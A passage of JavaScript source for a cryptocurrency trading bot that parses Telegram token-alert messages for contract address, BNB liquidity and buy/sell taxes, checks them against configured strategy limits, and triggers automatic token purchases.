${wallet.address} \n`); 339 | 340 | await helper.getUserInput(); 341 | let raw = await readFile('tokensBought.json'); 342 | let tokensBought = JSON.parse(raw); 343 | dontBuyTheseTokens = tokensBought.tokens; 344 | client.addEventHandler(onNewMessage, new NewMessage({})); 345 | console.log('\n', "Waiting for telegram notification to buy..."); 346 | await client.sendMessage('me', { message: `Waiting for telegram notification to buy...`, schedule: (15 * 1) + (Date.now() / 1000) }); 347 | })(); 348 | 349 | async function readFile(path) { 350 | return new Promise((resolve, reject) => { 351 | fs.readFile(path, 'utf8', function (err, data) { 352 | if (err) { 353 | reject(err); 354 | } 355 | resolve(data); 356 | }); 357 | }); 358 | } 359 | /** 360 | * 361 | * Check Strategies 362 | * 363 | * */ 364 | function didNotBuy(address) { 365 | for (var j = 0; j < dontBuyTheseTokens.length; j++) { 366 | if (address == dontBuyTheseTokens[j].address) { 367 | return false; 368 | } 369 | } 370 | return true; 371 | } 372 | 373 | function isStrategy(liquidity, buyTax, sellTax, msg, address) { 374 | if (config.channel == 'CGCMC') { 375 | if (config.strategy.platform == "BOTH") { 376 | if (liquidity <= config.strategy.maxLiquidity && 377 | liquidity >= config.strategy.minLiquidity && 378 | buyTax <= config.strategy.maxBuyTax && 379 | buyTax >= config.strategy.minBuyTax && 380 | sellTax <= config.strategy.maxSellTax && 381 | sellTax >= config.strategy.minSellTax && 382 | msg.includes("BNB") && didNotBuy(address)) { 383 | return true; 384 | } 385 | } else { 386 | if (liquidity <= config.strategy.maxLiquidity && 387 | liquidity >= config.strategy.minLiquidity && 388 | buyTax <= config.strategy.maxBuyTax && 389 | buyTax >= config.strategy.minBuyTax && 390 | sellTax <= config.strategy.maxSellTax && 391 | sellTax >= config.strategy.minSellTax && 392 | msg.includes("BNB") && didNotBuy(address) && msg.includes(config.strategy.platform)) { 393 | return true; 394 | } 395 | } 396 | } else { 397 | if (liquidity <= config.strategy.maxLiquidity && 398 | liquidity >= config.strategy.minLiquidity && 399 | buyTax <= config.strategy.maxBuyTax && 400 | buyTax >= config.strategy.minBuyTax && 401 | sellTax <= config.strategy.maxSellTax && 402 | sellTax >= config.strategy.minSellTax && 403 | msg.includes("BNB") && didNotBuy(address)) { 404 | return true; 405 | } 406 | } 407 | 408 | return false; 409 | } 410 | 411 | 412 | function onNewMessageCoinGeckoCoinMarketCap(message) { 413 | if (message.peerId.channelId == CoinMarketCapCoinGeckoChannel) { 414 | console.log('--- NEW TOKEN FOUND FROM COINGECKO & COINMARKETCAP CHANNEL ---'); 415 | let timeStamp = new Date().toLocaleString(); 416 | console.log(timeStamp); 417 | const msg = message.message.replace(/\n/g, " ").split(" "); 418 | var address = ''; 419 | if (msg.includes("COINMARKETCAP")) { 420 | console.log('Platform: COINMARKETCAP'); 421 | } 422 | if (msg.includes("COINGECKO")) { 423 | console.log('Platform: COINGECKO'); 424 | } 425 | for (var i = 0; i < msg.length; i++) { 426 | if (ethers.utils.isAddress(msg[i])) { 427 | address = msg[i]; 428 | console.log('Contract:', address); 429 | console.log('--- --------------- ---'); 430 | } 431 | if (msg[i] == "BNB") { 432 | var liquidity = parseFloat(msg[i - 1]); 433 | console.log('Liquidity:', liquidity, 'BNB'); 434 | } 435 | if (msg[i] == "(buy)") { 436 | var slipBuy = parseInt(msg[i - 1]); 437 | console.log('Buy tax: ', slipBuy, '%'); 438 | } 439 | if (msg[i] == "(sell)") { 440 | var slipSell = parseInt(msg[i - 1]); 441 | console.log('Sell tax:', slipSell, '%'); 442 | } 443 | } 444 | 445 | if (isStrategy(liquidity, slipBuy, slipSell, msg, address)) { 446 | token.push({ 447 | tokenAddress: address, 448 | didBuy: false, 449 | hasSold: false, 450 | tokenSellTax: slipSell, 451 | buyPath: [addresses.WBNB, address], 452 | sellPath: [address, addresses.WBNB], 453 | contract: new ethers.Contract(address, tokenAbi, account), 454 | investmentAmount: config.strategy.investmentAmount, 455 | profitPercent: config.strategy.profitPercent, 456 | stopLossPercent: config.strategy.stopLossPercent, 457 | gasPrice: config.strategy.gasPrice, 458 | checkProfit: function () { checkForProfit(this); }, 459 | percentOfTokensToSellProfit: config.strategy.percentOfTokensToSellProfit, 460 | percentOfTokensToSellLoss: config.strategy.percentOfTokensToSellLoss, 461 | trailingStopLossPercent: config.strategy.trailingStopLossPercent, 462 | stopLoss: 0, 463 | intitialValue: 0, 464 | newValue: 0, 465 | currentValue: 0, 466 | previousValue: 0 467 | }); 468 | console.log('<<< Attention! Buying token now! >>> Contract:', address); 469 | buy(); 470 | } 471 | 472 | else { 473 | console.log('Not buying this token does not match strategy or liquidity is not BNB. Waiting for telegram notification to buy...', '\n'); 474 | } 475 | } 476 | } 477 | 478 | 479 | function onNewMessageCoinMarketCapFastestAlerts(message) { 480 | if (message.peerId.channelId == CoinmarketcapFastestAlertsChannel) { 481 | console.log('--- NEW TOKEN FOUND FROM COINMARKETCAP FASTEST ALERTS CHANNEL ---'); 482 | let timeStamp = new Date().toLocaleString(); 483 | console.log(timeStamp); 484 | const msg = message.message.replace(/\n/g, " ").split(" "); 485 | var address = ''; 486 | 487 | for (var i = 0; i < msg.length; i++) { 488 | 489 | if (msg[i] == "BNB") { 490 | var liquidity = parseFloat(msg[i - 1]); 491 | console.log('Liquidity:', liquidity, 'BNB'); 492 | } 493 | if (msg[i] == "(buy)") { 494 | var slipBuy = parseInt(msg[i - 1]); 495 | console.log('Buy tax: ', slipBuy, '%'); 496 | } 497 | if (msg[i] == "(sell)") { 498 | var slipSell = parseInt(msg[i - 1]); 499 | console.log('Sell tax:', slipSell, '%'); 500 | console.log('--- --------------- ---'); 501 | } 502 | if (ethers.utils.isAddress(msg[i])) { 503 | address = msg[i]; 504 | console.log('Contract:', address); 505 | 506 | } 507 | } 508 | 509 | if (isStrategy(liquidity, slipBuy, slipSell, msg, address) && msg.includes("Insider")) { 510 | token.push({ 511 | tokenAddress: address, 512 | didBuy: false, 513 | hasSold: false, 514 | tokenSellTax: slipSell, 515 | buyPath: [addresses.WBNB, address], 516 | sellPath: [address, addresses.WBNB], 517 | contract: new ethers.Contract(address, tokenAbi, account), 518 | investmentAmount: config.strategy.investmentAmount, 519 | profitPercent: config.strategy.profitPercent, 520 | stopLossPercent: config.strategy.stopLossPercent, 521 | gasPrice: config.strategy.gasPrice, 522 | checkProfit: function () { checkForProfit(this); }, 523 | percentOfTokensToSellProfit: config.strategy.percentOfTokensToSellProfit, 524 | percentOfTokensToSellLoss: config.strategy.percentOfTokensToSellLoss, 525 | trailingStopLossPercent: config.strategy.trailingStopLossPercent, 526 | stopLoss: 0, 527 | intitialValue: 0, 528 | newValue: 0, 529 | currentValue: 0, 530 | previousValue: 0 531 | }); 532 | console.log('<<< Attention! Buying token now! >>> Contract:', address); 533 | buy(); 534 | 535 | } else { 536 | console.log('Not buying this token does not match strategy or liquidity is not BNB. Waiting for telegram notification to buy...', '\n'); 537 | } 538 | } 539 | 540 | } 541 | /** 542 | * 543 | * Recieved new Telegram message 544 | * 545 | * */ 546 | async function onNewMessage(event) { 547 | const message = event.message; 548 | if (config.channel == 'CGCMC') { 549 | onNewMessageCoinGeckoCoinMarketCap(message); 550 | } else if (config.channel == 'CFA') { 551 | onNewMessageCoinMarketCapFastestAlerts(message); 552 | } else { 553 | console.log("Invalid Channel"); 554 | } 555 | } 556 | --------------------------------------------------------------------------------